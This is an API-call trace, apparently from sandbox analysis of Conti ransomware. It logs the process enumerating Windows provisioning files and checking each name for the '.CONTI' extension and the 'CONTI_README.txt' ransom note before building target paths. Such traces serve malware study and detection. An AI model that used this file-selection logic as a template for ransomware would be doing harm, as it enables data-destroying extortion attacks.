	[0109.595] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913452f1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913452f1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913452f1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml", cAlternateFileName="540__C~1.PRO")) returned 1
	[0109.595] lstrcmpiW (lpString1="540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.595] lstrcmpiW (lpString1="540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.595] StrStrIW (lpFirst="540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.595] StrStrIW (lpFirst="540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.595] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.595] lstrlenW (lpString="540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml") returned 77
	[0109.595] GetProcessHeap () returned 0x1720000
	[0109.595] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x150) returned 0x180b928
	[0109.596] lstrcpyW (in: lpString1=0x180b928, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.596] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.596] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml"
	[0109.596] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9136b55d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9136b55d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9136b55d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35b, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml", cAlternateFileName="541__C~1.PRO")) returned 1
	[0109.596] lstrcmpiW (lpString1="541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.596] lstrcmpiW (lpString1="541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.596] StrStrIW (lpFirst="541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.596] StrStrIW (lpFirst="541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.596] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.596] lstrlenW (lpString="541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml") returned 76
	[0109.596] GetProcessHeap () returned 0x1720000
	[0109.596] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14e) returned 0x180ba80
	[0109.596] lstrcpyW (in: lpString1=0x180ba80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.596] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.596] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\541__Connections_Cellular_Orange (Equatorial Guinea)_i0$(__MVID)@WAP.provxml"
	[0109.596] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9136b55d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9136b55d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9136b55d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml", cAlternateFileName="542__C~1.PRO")) returned 1
	[0109.596] lstrcmpiW (lpString1="542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.596] lstrcmpiW (lpString1="542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.596] StrStrIW (lpFirst="542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.596] StrStrIW (lpFirst="542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.596] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.596] lstrlenW (lpString="542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml") returned 76
	[0109.596] GetProcessHeap () returned 0x1720000
	[0109.596] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14e) returned 0x180c540
	[0109.596] lstrcpyW (in: lpString1=0x180c540, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.596] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.596] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\542__Connections_Cellular_Orange (Equatorial Guinea)_i1$(__MVID)@WAP.provxml"
	[0109.596] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9136b55d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9136b55d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9136b55d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml", cAlternateFileName="543__C~1.PRO")) returned 1
	[0109.606] lstrcmpiW (lpString1="543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.606] lstrcmpiW (lpString1="543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.606] StrStrIW (lpFirst="543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.606] StrStrIW (lpFirst="543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.606] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.606] lstrlenW (lpString="543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml") returned 65
	[0109.611] GetProcessHeap () returned 0x1720000
	[0109.611] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x65b7a88
	[0109.611] lstrcpyW (in: lpString1=0x65b7a88, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.611] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.611] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\543__Connections_Cellular_Orange (Guinea)_i0$(__MVID)@WAP.provxml"
	[0109.611] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9136b55d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9136b55d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9136b55d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml", cAlternateFileName="544__C~1.PRO")) returned 1
	[0109.616] lstrcmpiW (lpString1="544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.616] lstrcmpiW (lpString1="544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.616] StrStrIW (lpFirst="544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.616] StrStrIW (lpFirst="544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.620] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.620] lstrlenW (lpString="544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml") returned 72
	[0109.629] GetProcessHeap () returned 0x1720000
	[0109.630] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x180bbd8
	[0109.644] lstrcpyW (in: lpString1=0x180bbd8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.644] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.644] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\544__Connections_Cellular_Orange (Guinea-Bissau)_i0$(__MVID)@WAP.provxml"
	[0109.644] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913917c8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913917c8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913917c8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml", cAlternateFileName="545__C~1.PRO")) returned 1
	[0109.644] lstrcmpiW (lpString1="545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.644] lstrcmpiW (lpString1="545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.644] StrStrIW (lpFirst="545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.645] StrStrIW (lpFirst="545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.645] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.645] lstrlenW (lpString="545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml") returned 72
	[0109.645] GetProcessHeap () returned 0x1720000
	[0109.645] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x180be88
	[0109.645] lstrcpyW (in: lpString1=0x180be88, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.645] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.645] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\545__Connections_Cellular_Orange (Côte d’Ivoire)_i0$(__MVID)@WAP.provxml"
	[0109.645] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913917c8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913917c8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913917c8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml", cAlternateFileName="546__C~1.PRO")) returned 1
	[0109.645] lstrcmpiW (lpString1="546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.645] lstrcmpiW (lpString1="546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.645] StrStrIW (lpFirst="546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.645] StrStrIW (lpFirst="546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.645] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.645] lstrlenW (lpString="546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml") returned 72
	[0109.645] GetProcessHeap () returned 0x1720000
	[0109.645] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x17faca8
	[0109.645] lstrcpyW (in: lpString1=0x17faca8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.645] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.645] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\546__Connections_Cellular_Orange (Côte d’Ivoire)_i1$(__MVID)@WAP.provxml"
	[0109.645] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913b7a34, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913b7a34, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913b7a34, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x355, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml", cAlternateFileName="547__C~1.PRO")) returned 1
	[0109.645] lstrcmpiW (lpString1="547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.645] lstrcmpiW (lpString1="547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.645] StrStrIW (lpFirst="547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.645] StrStrIW (lpFirst="547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.645] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.645] lstrlenW (lpString="547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml") returned 72
	[0109.646] GetProcessHeap () returned 0x1720000
	[0109.646] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x17fae00
	[0109.646] lstrcpyW (in: lpString1=0x17fae00, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.646] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.646] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\547__Connections_Cellular_Orange (Côte d’Ivoire)_i2$(__MVID)@WAP.provxml"
	[0109.646] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913b7a34, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913b7a34, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913b7a34, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml", cAlternateFileName="548__C~1.PRO")) returned 1
	[0109.646] lstrcmpiW (lpString1="548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.646] lstrcmpiW (lpString1="548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.646] StrStrIW (lpFirst="548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.646] StrStrIW (lpFirst="548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.646] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
